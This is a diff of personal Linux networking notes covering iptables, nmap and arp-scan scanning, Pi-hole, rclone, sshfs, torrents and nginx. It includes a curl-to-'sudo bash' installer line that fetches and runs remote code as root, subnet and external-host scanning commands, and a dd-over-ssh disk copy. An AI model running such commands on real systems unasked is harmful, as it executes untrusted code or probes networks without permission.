> [ One ] .. Test\n label ..> [ Four ]
|
||||
>
|
||||
> [ Three ] { border-style: dashed; }
|
||||
>
|
||||
> .. Test\n label ..> { arrow-style: closed; } [ Six ] { label: Sixty\n Six\nand\nsix; }
|
||||
>
|
||||
> [ Three ] <-- Test label --> { arrow-style: closed; } [ Six ]
|
||||
>
|
||||
> [ Eight ] .. [ None ] { shape: none; fill: red; color: brown; }
|
||||
>
|
||||
> [ no Network ] --> [ Is there an IP address? ]
|
||||
|
@ -8,7 +8,9 @@ This is a basic Linux firewall program.
|
||||
|
||||
Look at your firewalls:
|
||||
|
||||
> iptables -L
|
||||
```bash
|
||||
iptables -L
|
||||
```
|
||||
|
||||
We see the output of input, output and forwarding rules.
|
||||
|
||||
@ -16,19 +18,27 @@ We see the output of input, output and forwarding rules.
|
||||
|
||||
I don't need any forwarding, so I'm going to drop all forwarding:
|
||||
|
||||
> iptables -P FORWARD DROP
|
||||
```bash
|
||||
iptables -P FORWARD DROP
|
||||
```
|
||||
|
||||
# Input
|
||||
|
||||
Let's 'A'dd, or 'A'ppend a rule with -A. Let's drop all input from a nearby IP
|
||||
|
||||
> iptables -A INPUT -s 192.168.0.23 -j DROP
|
||||
```bash
|
||||
iptables -A INPUT -s 192.168.0.23 -j DROP
|
||||
```
|
||||
|
||||
Or we can block all input from a particular port on the full Network.
|
||||
|
||||
> iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
|
||||
```bash
|
||||
iptables -A INPUT -s 192.168.0.0/24 -p tcp --destination-port 25 -j DROP
|
||||
```
|
||||
|
||||
> iptables -A INPUT --dport 80 -j ACCEPT
|
||||
```bash
|
||||
iptables -A INPUT --dport 80 -j ACCEPT
|
||||
```
|
||||
|
||||
|
||||
This allows http traffic to an Apache web server over port 80.
|
||||
@ -37,11 +47,15 @@ However, rules are accepted in order - so a packet cannot be rejected and then a
|
||||
|
||||
To delete rule 2 from the INPUT chain:
|
||||
|
||||
> iptables -D INPUT 3
|
||||
```bash
|
||||
iptables -D INPUT 3
|
||||
```
|
||||
|
||||
Alternatively, you can 'I'nsert a rule at the start, rather than 'A'ppending it.
|
||||
|
||||
> iptables -I INPUT -s 192.168.0.13 DROP
|
||||
```bash
|
||||
iptables -I INPUT -s 192.168.0.13 DROP
|
||||
```
|
||||
|
||||
# Catchalls
|
||||
|
||||
@ -53,7 +67,9 @@ The -j flag accepts ACCEPT/REJECT/DROP. The last two are identical except that
|
||||
|
||||
Flush all existing rules with:
|
||||
|
||||
> iptables -F
|
||||
```bash
|
||||
iptables -F
|
||||
```
|
||||
|
||||
|
||||
# Examples
|
||||
|
@ -1,94 +0,0 @@
|
||||
---
|
||||
title: "protocols"
|
||||
tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
# Protocols
|
||||
|
||||
| TCP | UDP | ICMP |
|
||||
|:-----------------|:-----------------|:------------------|
|
||||
|Transmission Control Protocol | User Datagram Protocol | Internet Control Message Protocol |
|
||||
| Reliable and slow. | Fast but unreliable, such as VOIP. Provides checksums. | Dirty checks such as pings. |
|
||||
|
||||
|
||||
|
||||
|
||||
# Networking Addressing
|
||||
|
||||
## IPv4
|
||||
|
||||
Three address ranges pertain only to private Networks, so no computer looks beyond the local router to resolve them:
|
||||
|
||||
10.0.0.0 to 10.255.255.255
|
||||
|
||||
172.16.0.0 to 172.31.255.255
|
||||
|
||||
192.168.0.0 to 192.168.255.255
|
||||
|
||||
In theory, Networks should fall within one of 3 ranges, depending upon their first octet:
|
||||
|
||||
Class A 1-127
|
||||
|
||||
Class B 128 to 191
|
||||
|
||||
Class C 192 to 223
|
||||
|
||||
|
||||
|
||||
# Service Ports
|
||||
|
||||
There are three types of port ranges:
|
||||
|
||||
1 to 1023: Well-known and established ports.
|
||||
|
||||
1024 to 49151 ICANN registered ports, used by various products, with limited oversight.
|
||||
|
||||
49152 to 65535 Dynamic ports for ad hoc use.
|
||||
|
||||
View a more complete list of ports with:
|
||||
|
||||
> less /etc/services
|
||||
|
||||
|
||||
# ip
|
||||
|
||||
Show all addresses with:
|
||||
|
||||
> ip a{dd{ress}} s{how}
|
||||
|
||||
If a link's not present, load it with:
|
||||
|
||||
sudo ip link set dev wlp3s0 up
|
||||
|
||||
Add an interface to a device as so:
|
||||
|
||||
> sudo ip a add 192.168.0.15/255.255.255.0 dev eth1
|
||||
|
||||
See Network interfaces available on Fedora with:
|
||||
|
||||
> less /etc/sysconfig/Network-scripts/ifcfg-enp2s0f0
|
||||
|
||||
or on Debian with:
|
||||
|
||||
> less /etc/Network/interfaces
|
||||
|
||||
Mostly, interfaces will receive automatic addresses from a DHCP server. If this hasn't happened for you, you can request a dhcp address with:
|
||||
|
||||
> sudo dhclient eth1
|
||||
|
||||
View your current route to the internet with:
|
||||
|
||||
> route
|
||||
|
||||
... although on void this is:
|
||||
|
||||
> routel
|
||||
|
||||
If you don't have a route to the internet, you can manually specify the default gateway with:
|
||||
|
||||
> sudo route add default gw 192.168.0.1
|
||||
|
||||
... or ...
|
||||
|
||||
> sudo ip route add default via 192.168.0.1
|
||||
|
||||
|
@ -1,141 +0,0 @@
|
||||
---
|
||||
title: "Networking"
|
||||
tags: [ "Documentation", "Networking", "ip" ]
|
||||
---
|
||||
# You
|
||||
|
||||
Check how your computer connects to the net:
|
||||
|
||||
> ip address show
|
||||
|
||||
|
||||
```
|
||||
|
||||
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UP group default qlen 1000
|
||||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
||||
inet 127.0.0.1/8 scope host lo
|
||||
valid_lft forever preferred_lft forever
|
||||
inet6 ::1/128 scope host
|
||||
valid_lft forever preferred_lft forever
|
||||
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
|
||||
link/ether 84:3a:4b:ca:5c:24 brd ff:ff:ff:ff:ff:ff
|
||||
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
|
||||
valid_lft 199143sec preferred_lft 172143sec
|
||||
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
|
||||
valid_lft forever preferred_lft forever
|
||||
4: wwp0s20u4i6: <BROADCAST,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
|
||||
link/ether fa:cd:4d:28:ec:dc brd ff:ff:ff:ff:ff:ff
|
||||
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
|
||||
valid_lft forever preferred_lft forever
|
||||
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
|
||||
valid_lft forever preferred_lft forever
|
||||
|
||||
```
|
||||
|
||||
That's too much output to read, so try:
|
||||
|
||||
> ip address show | grep inet
|
||||
|
||||
```
|
||||
|
||||
inet 127.0.0.1/8 scope host lo
|
||||
inet6 ::1/128 scope host
|
||||
inet 192.168.0.13/24 brd 192.168.0.255 scope global dynamic noprefixroute wlp3s0
|
||||
inet6 fe80::22:5eb9:8a3a:95b2/64 scope link
|
||||
inet 169.254.104.159/16 brd 169.254.255.255 scope global noprefixroute wwp0s20u4i6
|
||||
inet6 fe80::e9d3:506c:c0a9:6679/64 scope link
|
||||
|
||||
```
|
||||
|
||||
The starting numbers tell you about the address. You just have to memorize the meanings:
|
||||
|
||||
| Address Prefix | Meaning |
|
||||
|:---:|:---:|
|
||||
| 127.X | The computer's name for itself, for when you want to ssh into your own machine |
|
||||
| ::1/128 | Same thing, with ipv6 |
|
||||
| 192.168.X | A small Network address, given by a DHCP server (possibly your router) |
|
||||
| 169.X | The interface to the internet wasn't given an ip address, so it's made up its own |
|
||||
|
||||
# `arp-scan`
|
||||
|
||||
Look around your local Network with `arp-scan`.
|
||||
|
||||
> sudo arp-scan -l
|
||||
|
||||
```
|
||||
|
||||
Interface: wlp3s0, type: EN10MB, MAC: 84:3a:4b:ca:5c:24, IPv4: 192.168.0.13
|
||||
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
|
||||
192.168.0.1 0c:02:27:bc:aa:a1 Technicolor CH USA Inc.
|
||||
192.168.0.15 b8:27:eb:4a:cd:d9 Raspberry Pi Foundation
|
||||
192.168.0.10 dc:0b:34:94:5c:c4 LG Electronics (Mobile Communications)
|
||||
|
||||
3 packets received by filter, 0 packets dropped by kernel
|
||||
Ending arp-scan 1.9.7: 256 hosts scanned in 1.937 seconds (132.16 hosts/sec). 3 responded
|
||||
|
||||
```
|
||||
|
||||
The interface here was `wlp3s0`. It starts with 'w', so it's a wifi card. Each internet adapter has a name, called a 'MAC address' in order to identify itself to outsiders. The first three parts of a MAC address are given by the manufacturer (like a family name), and the rest are just for that one device.
|
||||
|
||||
The '192.168.0.1' address ends in '.1', so it's probably a router. The manufacturer is 'Technicolor' (`arp-scan` has identified this from the first digits of the MAC: '0c:02:27').
|
||||
|
||||
Next is 192.168.0.15, which is labelled as a 'raspberry pi'. Finally, the '.10' address is a mobille phone.
|
||||
|
||||
Mac addresses are easy to fake, so don't trust this output to keep you safe.
|
||||
|
||||
# `nmap`
|
||||
|
||||
Look around your entire Network from 192.168.0.1 to 192.168.0.255:
|
||||
|
||||
> sudo nmap -F 192.168.0.1/24
|
||||
|
||||
The `-F` means 'do this fast, by only scanning normal traffic' (ports below 1000).
|
||||
|
||||
```
|
||||
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-09 13:52 CET
|
||||
Nmap scan report for 192.168.0.1
|
||||
Host is up (0.011s latency).
|
||||
Not shown: 99 closed ports
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
MAC Address: 0C:02:27:BC:AA:A1 (Technicolor CH USA)
|
||||
|
||||
Nmap scan report for 192.168.0.10
|
||||
Host is up (0.0040s latency).
|
||||
All 100 scanned ports on 192.168.0.10 are closed
|
||||
MAC Address: DC:0B:34:94:7C:C4 (LG Electronics (Mobile Communications))
|
||||
|
||||
Nmap scan report for belgradecats (192.168.0.15)
|
||||
Host is up (0.0096s latency).
|
||||
Not shown: 98 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
53/tcp open domain
|
||||
MAC Address: B8:27:EB:4A:CD:D9 (Raspberry Pi Foundation)
|
||||
|
||||
Nmap scan report for 192.168.0.13
|
||||
Host is up (0.0000080s latency).
|
||||
Not shown: 99 closed ports
|
||||
PORT STATE SERVICE
|
||||
22/tcp open ssh
|
||||
|
||||
Nmap done: 256 IP addresses (4 hosts up) scanned in 5.34 seconds
|
||||
|
||||
```
|
||||
|
||||
Network traffic is split into different types of information. Each one gets a number called a 'port'. Most of this information is dead, so only a few ports are used nowadays.
|
||||
|
||||
The first one shows port 80, so you can visit it on a web browser. The next shows 53 (so it's handing out names of local computers) and 22 (so you can access it via ssh).
|
||||
|
||||
You can scan outside addresses with:
|
||||
|
||||
> sudo nmap facebook.com
|
||||
|
||||
However, when you scan something, that machine will see you, and you may set off alerts, which then have to bother whoever's looking after that address.
|
||||
So if you want to try out nmap from outside, find a place you have permission to scan (like your own external IP address), or try:
|
||||
|
||||
> sudo nmap hack.me
|
||||
|
||||
The hack.me website doesn't mind people scanning.
|
||||
|
@ -5,7 +5,9 @@ tags: [ "Documentation", "Networking" ]
|
||||
|
||||
Example:
|
||||
|
||||
> nmap 192.168.1.1/24
|
||||
```bash
|
||||
nmap 192.168.1.1/24
|
||||
```
|
||||
|
||||
Flags:
|
||||
|
||||
@ -15,7 +17,6 @@ Flags:
|
||||
|
||||
Look for a web server, which has ports 80 and 443 open:
|
||||
|
||||
> nmap 192.168.1.1/24 -p 80,443 --open
|
||||
|
||||
|
||||
|
||||
```bash
|
||||
nmap 192.168.1.1/24 -p 80,443 --open
|
||||
```
|
||||
|
@ -6,37 +6,54 @@ tags: [ "Documentation", "Distros" ]
|
||||
|
||||
## Arch
|
||||
|
||||
> yay -S pi-hole-server
|
||||
```bash
|
||||
yay -S pi-hole-server
|
||||
```
|
||||
|
||||
> sudo systemctl enable --now pihole-FTL
|
||||
```bash
|
||||
sudo systemctl enable --now pihole-FTL
|
||||
```
|
||||
|
||||
> sudo systemctl disable --now systemd-resolved
|
||||
```bash
|
||||
sudo systemctl disable --now systemd-resolved
|
||||
```
|
||||
|
||||
> sudo rm -f /dev/shm/FTL-\*
|
||||
```bash
|
||||
sudo rm -f /dev/shm/FTL-\*
|
||||
```
|
||||
|
||||
## Debian
|
||||
|
||||
Debian has a long, boring setup.
|
||||
|
||||
> sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
|
||||
|
||||
> curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
|
||||
```bash
|
||||
sudo apt-get install wget curl net-tools gamin lighttpd lighttpd-mod-deflate
|
||||
curl -sSL https://install.pi-hole.net | PIHOLE_SKIP_OS_CHECK=true sudo -E bash
|
||||
```
|
||||
|
||||
# Setup
|
||||
|
||||
> sudo usermod -aG pihole $USER
|
||||
```bash
|
||||
sudo usermod -aG pihole $USER
|
||||
```
|
||||
|
||||
Remove that google dns server.
|
||||
|
||||
> pihole -a setdns 9.9.9.9 1.0.0.1
|
||||
```bash
|
||||
pihole -a setdns 9.9.9.9 1.0.0.1
|
||||
```
|
||||
|
||||
Disable pihole password by setting a blank password.
|
||||
|
||||
> pihole -a -p
|
||||
```bash
|
||||
pihole -a -p
|
||||
```
|
||||
|
||||
Get a new list of blocked domains, then reload:
|
||||
|
||||
> pihole -g -r
|
||||
```bash
|
||||
pihole -g -r
|
||||
```
|
||||
|
||||
Every so often, run `pihole -g` again (perhaps put it in crontab).
|
||||
|
||||
@ -44,11 +61,15 @@ Every so often, run `pihole -g` again (perhaps put it in crontab).
|
||||
|
||||
Observe the pihole's output while you ask it a question:
|
||||
|
||||
> pihole -t
|
||||
```bash
|
||||
pihole -t
|
||||
```
|
||||
|
||||
Then ask the question from another computer:
|
||||
|
||||
> dig @[ pihole ip ] archlinux.org
|
||||
```bash
|
||||
dig @[ pihole ip ] archlinux.org
|
||||
```
|
||||
|
||||
## System-Wide Setup
|
||||
|
||||
|
@ -2,20 +2,26 @@
|
||||
title: "pip"
|
||||
tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
```
|
||||
|
||||
Searching does not work.
|
||||
|
||||
Install with:
|
||||
|
||||
> pip install [ package ]
|
||||
```bash
|
||||
pip install [ package ]
|
||||
```
|
||||
|
||||
Upgrade all packages
|
||||
|
||||
> pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
|
||||
```bash
|
||||
pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
|
||||
```
|
||||
|
||||
# Troubleshooting
|
||||
|
||||
You may need a python3 package.
|
||||
In this case, try:
|
||||
|
||||
> pip3 install [ package ]
|
||||
```bash
|
||||
pip3 install [ package ]
|
||||
|
@ -3,53 +3,77 @@ title: "rclone"
|
||||
tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
The manpage's 'Synopsis' provides a fast reference.
|
||||
```
|
||||
|
||||
We'll assume a folder in Google Drive called 'test', and local folder called 'foo'.
|
||||
|
||||
Generate a config file with:
|
||||
|
||||
> rclone config
|
||||
```bash
|
||||
rclone config
|
||||
```
|
||||
|
||||
Look at the contents of Google Drive:
|
||||
|
||||
> rclone ls gd:/
|
||||
```bash
|
||||
rclone ls gd:/
|
||||
```
|
||||
|
||||
If rclone loses authorization:
|
||||
|
||||
> rclone authorization
|
||||
```bash
|
||||
rclone authorization
|
||||
```
|
||||
|
||||
List only directories:
|
||||
|
||||
> rclone lsf -dirs-only google:/
|
||||
```bash
|
||||
rclone lsf -dirs-only google:/
|
||||
```
|
||||
|
||||
Mount the remote location on /tmp/google with:
|
||||
|
||||
> rclone mount google /tmp/google
|
||||
```bash
|
||||
rclone mount google /tmp/google
|
||||
```
|
||||
|
||||
Copy the contents of 'foo' to 'test'.
|
||||
|
||||
> rclone copy foo/ google:test
|
||||
```bash
|
||||
rclone copy foo/ google:test
|
||||
```
|
||||
|
||||
Sync contents of foo and test with a progress bar (will delete Google items):
|
||||
|
||||
> rclone sync foo google:test -P
|
||||
```bash
|
||||
rclone sync foo google:test -P
|
||||
```
|
||||
|
||||
Remove all duplicates
|
||||
|
||||
> rclone dedupe google:test
|
||||
```bash
|
||||
rclone dedupe google:test
|
||||
```
|
||||
|
||||
Delete contets of a remote file:
|
||||
|
||||
> rclone delete n:test
|
||||
```bash
|
||||
rclone delete n:test
|
||||
```
|
||||
|
||||
Or delete the folder and contents as well:
|
||||
|
||||
> rclone purge n:test
|
||||
```bash
|
||||
rclone purge n:test
|
||||
```
|
||||
|
||||
Copy to and from with:
|
||||
|
||||
> rclone copyto google:test foo
|
||||
```bash
|
||||
rclone copyto google:test foo
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> rclone copyto foo google:test
|
||||
```bash
|
||||
rclone copyto foo google:test
|
||||
|
@ -4,19 +4,27 @@ tags: [ "Documentation", "Scraping" ]
|
||||
---
|
||||
Install `yt-dlp`.
|
||||
|
||||
> yt-dlp --write-auto-sub *<URL>*
|
||||
```bash
|
||||
yt-dlp --write-auto-sub *<URL>*
|
||||
```
|
||||
|
||||
It will default to English, but you can specify another language with the flag --sub-lang:
|
||||
|
||||
> youtube-dl --sub-lang sv --write-auto-sub *<URL>*
|
||||
```bash
|
||||
youtube-dl --sub-lang sv --write-auto-sub *<URL>*
|
||||
```
|
||||
|
||||
You can list all available subtitles with:
|
||||
|
||||
> yt-dlp --list-subs *<URL>*
|
||||
```bash
|
||||
yt-dlp --list-subs *<URL>*
|
||||
```
|
||||
|
||||
It's also possible to skip the video and only download the subtitle if you add the flag --skip-download:
|
||||
|
||||
> yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
|
||||
```bash
|
||||
yt-dlp --sub-lang sv --write-auto-sub --skip-download *<URL>*
|
||||
```
|
||||
|
||||
## Alternative
|
||||
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
# Mount
|
||||
|
||||
> sshfs alfred@192.168.0.14:Sync/Alfred
|
||||
```bash
|
||||
sshfs $USER@$IP_ADDRESS:$DIR
|
||||
```
|
||||
|
||||
Various flags:
|
||||
|
||||
@ -13,5 +15,7 @@ Various flags:
|
||||
|
||||
# Unmount
|
||||
|
||||
> fusermount3 -u Sync/Alfred
|
||||
```bash
|
||||
fusermount3 -u $DIR
|
||||
```
|
||||
|
||||
|
@ -5,17 +5,25 @@ tags: [ "Documentation", "Networking", "ssh", "tricks" ]
|
||||
|
||||
Mount a remote filesystem locally with fuse-sshfs:
|
||||
|
||||
> sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
|
||||
```bash
|
||||
sshfs *user*@192.168.0.10:/home/*user* /tmp/mnt
|
||||
```
|
||||
|
||||
Unmount with:
|
||||
|
||||
> fusermount -u /tmp/mnt
|
||||
```bash
|
||||
fusermount -u /tmp/mnt
|
||||
```
|
||||
|
||||
Set it up on /etc/fstab with:
|
||||
|
||||
> sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
|
||||
```bash
|
||||
sshfs#bkp@bkp.a-server.ninja:/media/store1/bkp /backup fuse defaults,allow_other,reconnect,delay_connect 0 0
|
||||
```
|
||||
|
||||
Make image backup of sda1 and sda2 from one machine and pass it through ssh to another.
|
||||
|
||||
> for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
|
||||
```bash
|
||||
for i in {1,2};do sudo dd if=/dev/sda$i | ssh -C *user*@192.168.0.10 "dd of=/mnt/Backup/winback-oct-\"$i\".img" status=progress; done
|
||||
```
|
||||
|
||||
|
@ -5,7 +5,9 @@ tags: [ "Documentation", "Networking" ]
|
||||
|
||||
# Get a hostname
|
||||
|
||||
> sudo vim /etc/tor/torrc
|
||||
```bash
|
||||
sudo vim /etc/tor/torrc
|
||||
```
|
||||
|
||||
Uncomment the lines about `/var/lib/tor/hidden_services`, including port 22 (or whatever); restart tor, then go to that directory, and cat the hostname.
|
||||
|
||||
|
@ -9,12 +9,14 @@ It breaks a lot, so if it's not working, the problem is probably in the program.
|
||||
|
||||
Search for 'sita sings the blues' with:
|
||||
|
||||
> torrench 'sita sings the blues'
|
||||
```bash
|
||||
torrench 'sita sings the blues'
|
||||
```
|
||||
|
||||
Copy the magnet link.
|
||||
It looks like this:
|
||||
|
||||
`magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969`
|
||||
> magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969
|
||||
|
||||
But you only need this bit (up until the `&` character):
|
||||
|
||||
@ -27,28 +29,40 @@ Install it then start the service.
|
||||
|
||||
Arch Linux:
|
||||
|
||||
> sudo systemctl start transmission
|
||||
```bash
|
||||
sudo systemctl start transmission
|
||||
```
|
||||
|
||||
Debian:
|
||||
|
||||
> sudo systemctl start transmission-daemon
|
||||
```bash
|
||||
sudo systemctl start transmission-daemon
|
||||
```
|
||||
|
||||
Add a torrent by the .torrent file, or a magnet link, like this:
|
||||
|
||||
> transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
|
||||
```bash
|
||||
transmission-remote -a 'magnet:?xt=urn:btih:05547db7c0c5fbbe50f00212ee43e9cec5b006fa&dn=Sita+Sings+the+Blues+%281080P+official+release%29&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=udp%3A%2F%2Fopen.demonii.com%3A1337&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Fexodus.desync.com%3A6969'
|
||||
```
|
||||
|
||||
> transmission-remote -a sita.torrent
|
||||
```bash
|
||||
transmission-remote -a sita.torrent
|
||||
```
|
||||
|
||||
Now let's check that the torrent's been added successfully.
|
||||
|
||||
> transmission-remote -l
|
||||
```bash
|
||||
transmission-remote -l
|
||||
```
|
||||
|
||||
To see the torrents, go to /var/lib/transmission/Downloads
|
||||
|
||||
If you don't have permission, either add the directory to the group made for your username, or add yourself to the `:transmission` group, or otherwise make sure that you can read that directory, and the user `transmission` can read, write and execute.
|
||||
E.g.:
|
||||
|
||||
> sudo usermod -aG transmission $USER
|
||||
```bash
|
||||
sudo usermod -aG transmission $USER
|
||||
```
|
||||
|
||||
Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2`).
|
||||
|
||||
@ -56,13 +70,17 @@ Log in again for the changes to take effect (or open a new TTY with `Ctrl+Alt+F2
|
||||
|
||||
If you don't want to have a file active as a torrent, get it's number with `transmission-remote -l`, then, if it were number '4', do:
|
||||
|
||||
> transmission-remote -t 4 -r
|
||||
```bash
|
||||
transmission-remote -t 4 -r
|
||||
```
|
||||
|
||||
You can now move the file, and the torrent will not be confused.
|
||||
|
||||
To both **r**emove **a**nd **d**elete a file, use `-rad`:
|
||||
|
||||
> transmission-remote -t 4 -rad
|
||||
```bash
|
||||
transmission-remote -t 4 -rad
|
||||
```
|
||||
|
||||
# Moving Torrents
|
||||
|
||||
@ -71,5 +89,7 @@ If the file is in your home - `~` - but `transmission` is not allowed in your ho
|
||||
|
||||
Next, find the torrent's number. You can use multiple numbers, separated with a comma:
|
||||
|
||||
> transmission-remote -t 3,5,8 --move /home/alice/music
|
||||
```bash
|
||||
transmission-remote -t 3,5,8 --move /home/alice/music
|
||||
```
|
||||
|
||||
|
@ -7,13 +7,19 @@ tags: [ "Documentation", "Networking" ]
|
||||
|
||||
If not, try checking out what your local Networking interfaces are, then check if they have been picked up:
|
||||
|
||||
> dmesg | grep eth0
|
||||
```bash
|
||||
dmesg | grep eth0
|
||||
```
|
||||
|
||||
# Display Active Ports
|
||||
|
||||
> netstat -l
|
||||
```bash
|
||||
netstat -l
|
||||
```
|
||||
|
||||
...or maybe narrow it down to http:
|
||||
|
||||
> netstat -l | grep http
|
||||
```bash
|
||||
netstat -l | grep http
|
||||
```
|
||||
|
||||
|
@ -4,25 +4,37 @@ tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
Install nginx:
|
||||
|
||||
> sudo apt-get install nginx
|
||||
```bash
|
||||
sudo apt-get install nginx
|
||||
```
|
||||
|
||||
> sudo apt-get enable --now nginx
|
||||
```bash
|
||||
sudo apt-get enable --now nginx
|
||||
```
|
||||
|
||||
Put a website somewhere:
|
||||
|
||||
> mkdir /var/www/html/mysite/
|
||||
```bash
|
||||
mkdir /var/www/html/mysite/
|
||||
```
|
||||
|
||||
Put an index file there:
|
||||
|
||||
> vim /var/www/html/mysite/index.html
|
||||
```bash
|
||||
vim /var/www/html/mysite/index.html
|
||||
```
|
||||
|
||||
Make the owner `www-data`
|
||||
|
||||
> chown -R www-data:www-data /var/www/html/mysite/
|
||||
```bash
|
||||
chown -R www-data:www-data /var/www/html/mysite/
|
||||
```
|
||||
|
||||
Make a configuration file for nginx:
|
||||
|
||||
> vim /etc/nginx/sites-available/mysite.conf
|
||||
```bash
|
||||
vim /etc/nginx/sites-available/mysite.conf
|
||||
```
|
||||
|
||||
|
||||
```
|
||||
@ -37,15 +49,20 @@ server {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
}```
|
||||
}
|
||||
```
|
||||
|
||||
Make the site available:
|
||||
|
||||
> ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
|
||||
```bash
|
||||
ln -s /etc/nginx/sites-available/mysite.conf /etc/nginx/sites-enabled/
|
||||
```
|
||||
|
||||
Test it's working:
|
||||
|
||||
> nginx -t
|
||||
```bash
|
||||
nginx -t
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
@ -65,13 +82,19 @@ Buy some DNS online, then check it's working.
|
||||
|
||||
*Once it's working*, use certbot:
|
||||
|
||||
> apt install certbot
|
||||
```bash
|
||||
apt install certbot
|
||||
```
|
||||
|
||||
You may need to install an nginx python module:
|
||||
|
||||
> apt install python3-certbot-nginx
|
||||
```bash
|
||||
apt install python3-certbot-nginx
|
||||
```
|
||||
|
||||
> certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
|
||||
```bash
|
||||
certbot --nginx -d *mysite.tk* --non-interactive --agree-tos -m *webmaster@email.tld*
|
||||
```
|
||||
|
||||
When you are asked about redirecting from HTTP to HTTPS, say yes (option "2").
|
||||
|
||||
|
@ -6,65 +6,87 @@ tags: [ "Documentation", "Networking" ]
|
||||
|
||||
Stats on local net usage within domain.
|
||||
|
||||
> iftop -p -n
|
||||
```bash
|
||||
iftop -p -n
|
||||
```
|
||||
|
||||
> whois domain.com
|
||||
```bash
|
||||
whois domain.com
|
||||
```
|
||||
|
||||
Info on domain, whether it's taken, et c.:
|
||||
|
||||
> dig domain.com
|
||||
```bash
|
||||
dig domain.com
|
||||
```
|
||||
|
||||
> ifconfig
|
||||
```bash
|
||||
ifconfig
|
||||
```
|
||||
|
||||
Versatile wifi tool:
|
||||
|
||||
> nmcli
|
||||
```bash
|
||||
nmcli
|
||||
```
|
||||
|
||||
# Examples
|
||||
|
||||
You want to connect to the internet.
|
||||
|
||||
> sudo iwconfig
|
||||
```bash
|
||||
sudo iwconfig
|
||||
```
|
||||
|
||||
Get knowledge of wireless state. The output might be:
|
||||
|
||||
`wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"`
|
||||
> wlp3s0 IEEE 802.11 ESSID:"Gandalf WajFaj"
|
||||
|
||||
`Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A`
|
||||
> Mode:Managed Frequency:2.412 GHz Access Point: 10:05:01:90:AC:1A
|
||||
|
||||
`Bit Rate=144.4 Mb/s Tx-Power=15 dBm`
|
||||
> Bit Rate=144.4 Mb/s Tx-Power=15 dBm
|
||||
|
||||
`Retry short limit:7 RTS thr:off Fragment thr:off`
|
||||
> Retry short limit:7 RTS thr:off Fragment thr:off
|
||||
|
||||
`Encryption key:off`
|
||||
> Encryption key:off
|
||||
|
||||
`Power Management:on`
|
||||
> Power Management:on
|
||||
|
||||
`Link Quality=64/70 Signal level=-46 dBm`
|
||||
> Link Quality=64/70 Signal level=-46 dBm
|
||||
|
||||
`Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag`
|
||||
> Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag
|
||||
|
||||
